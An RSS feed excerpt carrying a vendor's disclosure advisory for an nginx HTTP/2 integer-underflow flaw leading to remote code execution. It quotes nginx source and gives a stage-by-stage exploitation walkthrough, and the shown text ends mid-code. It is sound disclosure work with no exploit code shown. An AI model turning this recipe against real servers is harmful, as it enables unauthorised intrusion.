<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"
   version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[ Rapid7 Cybersecurity Blog ]]></title>
    <language>en-US</language>
    <description><![CDATA[Rapid7 transforms data into insight, empowering security professionals to progress and protect their organizations.]]></description>
    <link>https://www.rapid7.com/blog/</link>
    <image>
      <url>https://blog.rapid7.com/favicon.png</url>
      <title>Rapid7 Cybersecurity Blog</title>
      <link>https://www.rapid7.com/blog/</link>
    </image>
    <lastBuildDate>Wed, 18 Nov 2026 18:47:25 GMT</lastBuildDate>
    <atom:link href="https://www.rapid7.com/rss.xml" rel="self" type="application/rss+xml" />
    <ttl>60</ttl>
    <item>
      <title><![CDATA[Open by Default, Already Occupied: Threat Actors are Renting your Compute]]></title>
      <description><![CDATA[]]></description>
      <link>https://www.rapid7.com/blog/post/tr-self-hosted-ai-renting-compute-exposed-servers</link>
      <guid isPermaLink="false">bltaf80f9557d0b2d40</guid>
      <category><![CDATA[Artificial Intelligence]]></category><dc:creator><![CDATA[Christiaan Beek]]></dc:creator>
      <pubDate>Wed, 18 Nov 2026 14:38:55 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt77f5564b49102b80/6abfb804cd0bd934c1d4e56b/Copy_of_Rapid7_intelligence_report_template.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-123007: Critical NGINX HTTP/2 Integer Underflow Leads to RCE (FIXED)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Today, both Rapid7 and </span><a href="https://my.f5.com/manage/s/article/K000163926" target="_self"><span style='font-size: undefined;'>F5</span></a><span style='font-size: undefined;'> are disclosing </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-123007"><span style='font-size: undefined;'>CVE-2026-123007</span></a><span style='font-size: undefined;'>, a critical integer underflow vulnerability affecting nginx HTTP/2, which can allow for unauthenticated remote code execution (RCE) against affected servers under certain conditions.</span></p><table><colgroup data-width='1000'><col style="width:21.794871794871796%"/><col style="width:44.71153846153847%"/><col style="width:14.903846153846153%"/><col style="width:18.589743589743588%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE ID</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CWE</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVSSv4</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-123007</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP/2 flow-control memory corruption permitting worker-context RCE</span></p></td><td><p style="direction: ltr;"><a href="https://cwe.mitre.org/data/definitions/191.html"><span style='font-size: undefined;'>CWE-191 (Integer Underflow)</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.2 (Critical)</span></a></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'>nginx can miscalculate how much response data an HTTP/2 client has allowed it to send. A remote, unauthenticated client can exploit this error by cancelling queued response data, then make nginx use an invalid length when copying a later response. The resulting memory corruption can disclose data, interrupt service, and execute code with the nginx worker process's permissions.</span></p><h2 style="direction: ltr;">Impact</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 has developed a </span><a href="https://github.com/sfewer-r7/CVE-2026-123007"><span style='font-size: undefined;'>proof-of-concept</span></a><span style='font-size: undefined;'> to demonstrate leveraging CVE-2026-123007 for unauthenticated RCE against a vulnerable </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>linux/amd64</span></span><span style='font-size: undefined;'> Docker image running nginx version </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1.31.8</span></span><span style='font-size: undefined;'>, as shown below in Figure 1. The target nginx server’s configuration had </span><a href="https://nginx.org/en/docs/http/ngx_http_v2_module.html#http2"><span style='font-size: undefined;'>http2 on</span></a><span style='font-size: undefined;'> and TLS enabled. Note that for brevity, video playback is at 8x speed.</span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b12bdf86ca3b406/6afdb030706cd309238d19fc/nginx-http2-rce-720p-8x.gif" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="nginx-http2-rce-720p-8x.gif" asset-alt="nginx-http2-rce-720p-8x.gif" style="text-align: center; width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b12bdf86ca3b406/6afdb030706cd309238d19fc/nginx-http2-rce-720p-8x.gif" data-sys-asset-uid="blt5b12bdf86ca3b406" data-sys-asset-filename="nginx-http2-rce-720p-8x.gif" data-sys-asset-contenttype="image/gif" data-sys-asset-alt="nginx-http2-rce-720p-8x.gif" sys-style-type="display"/></figure><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 1: Video demonstrating unauthenticated RCE against NGINX 1.31.8 via CVE-2026-123007</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Leveraging CVE-2026-123007 for RCE requires a significant amount of network traffic to be transmitted, approximately 128 GB of HTTP/2 data. Both available network bandwidth and connection timeouts will place practical limitations on Internet exploitation. In the above example shown in Figure 1, exploitation takes two and a half minutes. The approximate timings to transmit the required network data over a 10 Gbit/s network is two minutes, while on a 1 Gbit/s network it is seventeen minutes. Due to nginx’s default one hour connection lifetime, a network slower than approximately 300 Mbit/s will take over the one hour connection limit threshold and will not be able to succeed. Additionally, should an HTTP/2 connection be proxied, the precise attacker-controlled HTTP/2 frames being transmitted will likely not be retransmitted in a way that satisfies exploiting the vulnerability.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Finally, the exploitation strategy developed depends on a specific x86-64 glibc EVEX/YMM </span><span style='font-size: undefined;'><span data-type='inlineCode'>memcpy</span></span><span style='font-size: undefined;'> implementation selected at runtime, based on the avx512f and avx512vl CPU features. Alternative RCE exploitation strategies may be viable, but none are currently known.</span></p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at </span><a href="https://www.rapid7.com/"><span style='font-size: undefined;'>Rapid7</span></a><span style='font-size: undefined;'>, and is being disclosed in accordance with Rapid7's </span><a href="https://www.rapid7.com/security/disclosure/"><span style='font-size: undefined;'>vulnerability disclosure policy</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Technical analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The version of nginx tested was a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>linux/amd64</span></span><span style='font-size: undefined;'> Docker image for nginx version </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1.31.8</span></span><span style='font-size: undefined;'> (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>nginx@sha256:5ab5b0b01097420873a3f3330f44248e34a3c2a3e8d5ee30658aeae8cb7435da</span></span><span style='font-size: undefined;'>), and ran with an exposed HTTPS service and http2 enabled.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>How a client controls HTTP/2 response data</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP/2 carries messages called frames over a connection. Each request and response belongs to a numbered stream, so one connection can carry several exchanges at once. Response-body bytes are carried in DATA frames.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For this vulnerability, nginx is the sender and the remote client is the receiver. The client grants nginx permission, or flow-control credit, to send a certain number of DATA bytes. nginx tracks the remaining credit in two counters: one for each stream and one shared by the connection. Sending DATA must be permitted by both counters. These HTTP/2 counters are separate from TCP's receive window.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The client grants more credit by sending a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WINDOW_UPDATE</span></span><span style='font-size: undefined;'> frame containing a positive increment. A stream identifier of zero increases the connection’s send credit. A nonzero stream identifier increases the send credit for the stream with that specific nonzero identifier. HTTP/2 limits the increment and the resulting window to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^31-1</span></span><span style='font-size: undefined;'> bytes, or 2,147,483,647 (0x7FFFFFFF). This report calls that maximum </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The client can also send a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SETTINGS</span></span><span style='font-size: undefined;'> frame containing a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SETTINGS_INITIAL_WINDOW_SIZE</span></span><span style='font-size: undefined;'> parameter. This changes the starting credit for new streams. nginx must also adjust each active stream's remaining credit by the difference between the old and new setting values. It does not change the connection's credit. A reduction can therefore leave an active stream with negative credit until the client grants more. The connection window has no equivalent reduction: it must remain between zero and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>. </span><a href="https://www.rfc-editor.org/rfc/rfc9113.html#section-6.9"><span style='font-size: undefined;'>RFC 9113, section 6.9</span></a><span style='font-size: undefined;'> defines these limits and the required errors.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>nginx stores the connection counter in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>h2c-&gt;send_window</span></span><span style='font-size: undefined;'>, where </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>h2c</span></span><span style='font-size: undefined;'> is the HTTP/2 connection record. Its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>size_t</span></span><span style='font-size: undefined;'> type is an unsigned integer: on the verified 64-bit build it can hold values from zero to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^64-1</span></span><span style='font-size: undefined;'>. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>size_t</span></span><span style='font-size: undefined;'> type can therefore hold values above HTTP/2's maximum connection window of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^31-1</span></span><span style='font-size: undefined;'> bytes (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>). nginx must enforce that protocol limit in its own logic.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="c">// src/http/v2/ngx_http_v2.h
#define NGX_HTTP_V2_MAX_WINDOW ((1U &lt;&lt; 31) - 1) // &lt;--- [1]
struct ngx_http_v2_connection_s {
    // ...
    size_t send_window;                         // &lt;--- [2]
    // ...
};
struct ngx_http_v2_stream_s {
    // ...
    ssize_t send_window;
    // ...
};</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The rule that the connection counter at [2] must never exceed </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'> at [1] is the connection-window invariant. The separate stream counter, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>stream-&gt;send_window</span></span><span style='font-size: undefined;'>, is explicitly declared as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ssize_t</span></span><span style='font-size: undefined;'>, a signed 64-bit integer on the verified build. That allows </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SETTINGS_INITIAL_WINDOW_SIZE</span></span><span style='font-size: undefined;'> to make a stream's credit temporarily negative. The connection counter remains unsigned. The later unsafe conversion occurs when the output filter treats excessive connection credit as a signed 64-bit </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>off_t</span></span><span style='font-size: undefined;'> response length.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Leveraging vulnerability has four main stages:</span></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>By slowing its reading of server output, the client keeps selected DATA frames queued and unstarted. It raises the connection's credit to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'> and the selected streams' credit to just below </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>. A </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SETTINGS</span></span><span style='font-size: undefined;'> frame that increases </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SETTINGS_INITIAL_WINDOW_SIZE</span></span><span style='font-size: undefined;'> enough to exceed the stream limit makes nginx close those streams while leaving the connection usable. Request cleanup then restores the reserved credit above </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>An unsigned subtraction in the next connection </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WINDOW_UPDATE</span></span><span style='font-size: undefined;'> check underflows. Repeated accepted </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WINDOW_UPDATE</span></span><span style='font-size: undefined;'> frames can then raise the counter into the upper half of its 64-bit range without requiring the addition to wrap.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>On the verified 64-bit build, nginx interprets that excessive counter as a negative response length and creates an invalid buffer. Buffered TLS output then passes a huge unsigned byte count to the memory-copy function </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>memcpy</span></span><span style='font-size: undefined;'>, causing out-of-bounds reads and writes.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>These constrained memory accesses depend on the build and selected copy routine. With a suitable memory layout, an attacker can use disclosed addresses and controlled overwrites to execute code with the nginx worker process's permissions.</span></p></li></ol><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Cancelling queued DATA restores too much credit</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>When nginx queues a </span><span style='font-size: undefined;'><span data-type='inlineCode'>DATA</span></span><span style='font-size: undefined;'> frame at [3], it subtracts the frame's DATA length from the connection's credit counter at [4] and then from the stream's credit counter. This reserves the credit before the bytes reach the client and prevents other streams from spending the same connection credit:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="c">// src/http/v2/ngx_http_v2_filter_module.c
// ngx_http_v2_send_chain()
// ...
ngx_http_v2_queue_frame(h2c, frame);       // &lt;--- [3]

h2c-&gt;send_window -= frame_size;            // &lt;--- [4]
stream-&gt;send_window -= frame_size;
stream-&gt;queued++;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker can keep a later response queued by slowing or stopping its reading of earlier server output. Once the transport cannot accept more output, nginx must wait. This condition is transport backpressure. The attacker needs enough of it to keep the selected DATA frame unstarted: none of that frame's bytes have yet entered TLS output or the socket. Stopping response reads does not prevent the client from sending control frames in the other direction.</span></p><p><span style='font-size: undefined;'>While the DATA remains queued, the client sends a connection </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WINDOW_UPDATE</span></span><span style='font-size: undefined;'> that raises nginx's reduced counter to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>. The problem appears when the request that owns the queued DATA then closes. Its request-cleanup handler removes the unstarted DATA and returns the reserved credit:</span></p><p><span style='font-size: undefined;'></span></p><pre language="c">// src/http/v2/ngx_http_v2_filter_module.c
// ngx_http_v2_filter_cleanup()
// ...
for ( ;; ) {
    frame = *fn;
    if (frame == NULL) {
        break;
    }
    if (frame-&gt;stream == stream && !frame-&gt;blocked) { // &lt;--- [5]
        *fn = frame-&gt;next;
        window += frame-&gt;length;                      // &lt;--- [6]
        if (--stream-&gt;queued == 0) {
            break;
        }
        continue;
    }
    fn = &frame-&gt;next;
}
// ...
h2c-&gt;send_window += window;                           // &lt;--- [7]</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The test at [5] selects removable, unstarted frames for that request. The local variable </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>window</span></span><span style='font-size: undefined;'> totals their DATA lengths at [6]. The addition at [7] does not check whether restoring those bytes takes the connection counter above </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>.</span></p><p><span style='font-size: undefined;'>For example, restoring 1,393 bytes after the counter has reached 2,147,483,647 (0x7FFFFFFF) produces 2,147,485,040 (0x80000570). This value is invalid under HTTP/2 as it exceeds </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>, although it still fits in a 64-bit </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>size_t</span></span><span style='font-size: undefined;'>; the addition has not yet wrapped around. The unchecked restoration at [7] is the first invalid state in the vulnerability. The attacker still needs a way to close the selected requests while preserving the connection, so the excessive counter can be used again.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>A SETTINGS error closes the stream but leaves the connection usable</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>When a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SETTINGS</span></span><span style='font-size: undefined;'> frame increases </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SETTINGS_INITIAL_WINDOW_SIZE</span></span><span style='font-size: undefined;'> enough that an active stream's credit would exceed </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>, nginx terminates that stream but leaves the HTTP/2 connection usable. A client can create this condition by first sending a stream </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WINDOW_UPDATE</span></span><span style='font-size: undefined;'> to put the selected stream just below </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>. It then sends a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SETTINGS</span></span><span style='font-size: undefined;'> frame that increases the initial stream-window setting. For example, changing the setting from 65,535 to 65,537 adds two bytes to every active stream. A stream already at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX-1</span></span><span style='font-size: undefined;'> would become </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX+1</span></span><span style='font-size: undefined;'>, even though the new setting value itself is allowed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>RFC 9113 requires this condition to end the connection with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FLOW_CONTROL_ERROR</span></span><span style='font-size: undefined;'>. nginx instead calls </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ngx_http_v2_terminate_stream()</span></span><span style='font-size: undefined;'> for each affected stream. That function sends </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RST_STREAM</span></span><span style='font-size: undefined;'>, which ends an individual stream, and causes the request to be cleaned up. The loop then continues using the same connection:</span></p><p></p><pre language="c">// src/http/v2/ngx_http_v2.c
// ngx_http_v2_adjust_windows()
// ...
if (delta &gt; 0
    && stream-&gt;send_window
          &gt; (ssize_t) (NGX_HTTP_V2_MAX_WINDOW - delta))
{
    if (ngx_http_v2_terminate_stream(h2c, stream,
                                     NGX_HTTP_V2_FLOW_CTRL_ERROR)
        == NGX_ERROR)
    {
        return NGX_ERROR;
    }
    continue;                                      // &lt;--- [8]
}</pre><p></p><p><span style='font-size: undefined;'>Here, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>delta</span></span><span style='font-size: undefined;'> is the difference between the new and old setting values. Request cleanup performs [5] through [7], while </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>continue</span></span><span style='font-size: undefined;'> at [8] leaves the HTTP/2 connection open. The attacker can now send further frames on the connection whose credit has exceeded </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>The next WINDOW_UPDATE causes an integer underflow</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>When another connection </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WINDOW_UPDATE</span></span><span style='font-size: undefined;'> arrives, nginx tries to calculate how much additional credit is still allowed:</span></p><p></p><pre language="c">// src/http/v2/ngx_http_v2.c
// ngx_http_v2_state_window_update()
// ...
if (window &gt; NGX_HTTP_V2_MAX_WINDOW - h2c-&gt;send_window) { // &lt;--- [9]
    // ...
    return ngx_http_v2_connection_error(h2c,
                                        NGX_HTTP_V2_FLOW_CTRL_ERROR);
}
h2c-&gt;send_window += window;                            // &lt;--- [10]</pre><p></p><p><span style='font-size: undefined;'>In this function, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>window</span></span><span style='font-size: undefined;'> is the increment received from the client. The subtraction at [9] is safe only while the stored counter is no greater than </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>. If cleanup has restored </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>R</span><span style='font-size: undefined;'> excess bytes, the intended allowance is </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX - (MAX + R)</span></span><span style='font-size: undefined;'>, or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>-R</span></span><span style='font-size: undefined;'>. Unsigned arithmetic cannot represent that negative result. On the verified 64-bit build it wraps to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^64 - R</span></span><span style='font-size: undefined;'>, a very large positive number. This is the integer underflow identified by CWE-191.</span></p><p><span style='font-size: undefined;'>The incorrect allowance lets further client increments pass the check. By sending many increments, each no greater than </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>MAX</span></span><span style='font-size: undefined;'>, the client can raise the counter to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^63</span></span><span style='font-size: undefined;'> or above without wrapping the addition itself, shown at [10] above. Such a value has the top bit of its 64-bit representation set. It is still an unsigned value, but it no longer fits in a signed 64-bit integer. That distinction matters when nginx prepares the next response.</span></p><p><span style='font-size: undefined;'>This amplification accounts for the large traffic requirement. A connection </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WINDOW_UPDATE</span></span><span style='font-size: undefined;'> occupies 13 HTTP/2 bytes: a </span><a href="https://www.rfc-editor.org/rfc/rfc9113.html#section-4.1"><span style='font-size: undefined;'>nine-byte frame header</span></a><span style='font-size: undefined;'> and a </span><a href="https://www.rfc-editor.org/rfc/rfc9113.html#section-6.9"><span style='font-size: undefined;'>four-byte payload</span></a><span style='font-size: undefined;'>. The credit granted by that frame is not data actually transmitted. Starting from the small over-credit state described above, reaching </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^63</span></span><span style='font-size: undefined;'> by maximum-size increments takes about </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^32</span></span><span style='font-size: undefined;'> frames, or 52 GiB. Reaching the near-</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^64</span></span><span style='font-size: undefined;'> values used for the confirmed read/write path takes about </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^33</span></span><span style='font-size: undefined;'> increments, or 104 GiB. nginx also limits control-frame traffic relative to other received data. The current code-execution reproduction sends about 15 GiB of additional request-header traffic to stay within that limit, bringing its reported plaintext total to about 119.02 GiB. TLS and network overhead increase the actual wire traffic. These figures describe this 64-bit amplification route, not a universal minimum for every possible exploit.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Excessive credit becomes a negative response length</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The client can make an active stream with available credit process an ordinary response body. nginx's HTTP/2 output filter decides how many body bytes to include in a DATA frame. Before following that calculation, it is useful to define the buffer it will create.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An in-memory nginx buffer is described by a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ngx_buf_t</span></span><span style='font-size: undefined;'> record. Its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>pos</span></span><span style='font-size: undefined;'> pointer is the memory address of the next byte to send. Its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>last</span></span><span style='font-size: undefined;'> pointer is the address immediately after the available data. For four available bytes, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>last</span></span><span style='font-size: undefined;'> must be four bytes after </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>pos</span></span><span style='font-size: undefined;'>; subtracting </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>pos</span></span><span style='font-size: undefined;'> from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>last</span></span><span style='font-size: undefined;'> gives the length, four. A valid buffer therefore cannot have </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>last</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>pos</span></span><span style='font-size: undefined;'>. nginx links these buffer records together into an output chain, which is a list of data waiting to be sent.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ngx_http_v2_send_chain()</span></span><span style='font-size: undefined;'>, the byte limit is an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>off_t</span></span><span style='font-size: undefined;'>, a signed 64-bit integer on the verified build. The excessive unsigned connection counter is converted to that signed type at [11]. On this build, a value of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^64 - d</span></span><span style='font-size: undefined;'>, where </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>d</span></span><span style='font-size: undefined;'> is a small positive byte count, becomes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>-d</span></span><span style='font-size: undefined;'>:</span></p><p></p><pre language="c">// src/http/v2/ngx_http_v2_filter_module.c
// ngx_http_v2_send_chain()
// ...
if (limit == 0 || limit &gt; (off_t) h2c-&gt;send_window) {
    limit = h2c-&gt;send_window;                         // &lt;--- [11]
}
if (limit &gt; stream-&gt;send_window) {
    limit = (stream-&gt;send_window &gt; 0) ? stream-&gt;send_window : 0;
}
// ...
if ((off_t) frame_size &gt; limit) {
    frame_size = (size_t) limit;                      // &lt;--- [12]
}
// ...
rest = frame_size;
while ((off_t) rest &gt;= size) {                        // &lt;--- [13]
    // ...
}
if (rest) {
    cl = ngx_http_v2_filter_get_shadow(stream, in-&gt;buf,
                                       offset, rest); // &lt;--- [14]
    // ...
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The stream-window check does not reject a negative </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>limit</span></span><span style='font-size: undefined;'>: it only reduces a limit that is too large. At [12], the negative limit becomes a huge unsigned </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>frame_size</span></span><span style='font-size: undefined;'>. Casting the same value back to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>off_t</span></span><span style='font-size: undefined;'> makes it negative again, so [13] skips the loop that would normally consume and bound the available body bytes. At [14], nginx passes the invalid length to a helper whose </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>size</span></span><span style='font-size: undefined;'> parameter is also a signed </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>off_t</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That helper creates a shadow buffer: a new metadata record referring to part of the existing response data, without copying the response body itself. It sets the new end pointer using the supplied length:</span></p><p><span style='font-size: undefined;'></span></p><pre language="c">// src/http/v2/ngx_http_v2_filter_module.c
// ngx_http_v2_filter_get_shadow()
static ngx_chain_t *
ngx_http_v2_filter_get_shadow(ngx_http_v2_stream_t *stream, ngx_buf_t *buf,
    off_t offset, off_t size)
{
    // ...
    ngx_memcpy(chunk, buf, sizeof(ngx_buf_t));
    // ...
    if (ngx_buf_in_memory(chunk)) {
        chunk-&gt;pos += offset;
        chunk-&gt;last = chunk-&gt;pos + size;              // &lt;--- [15]
    }
    // ...
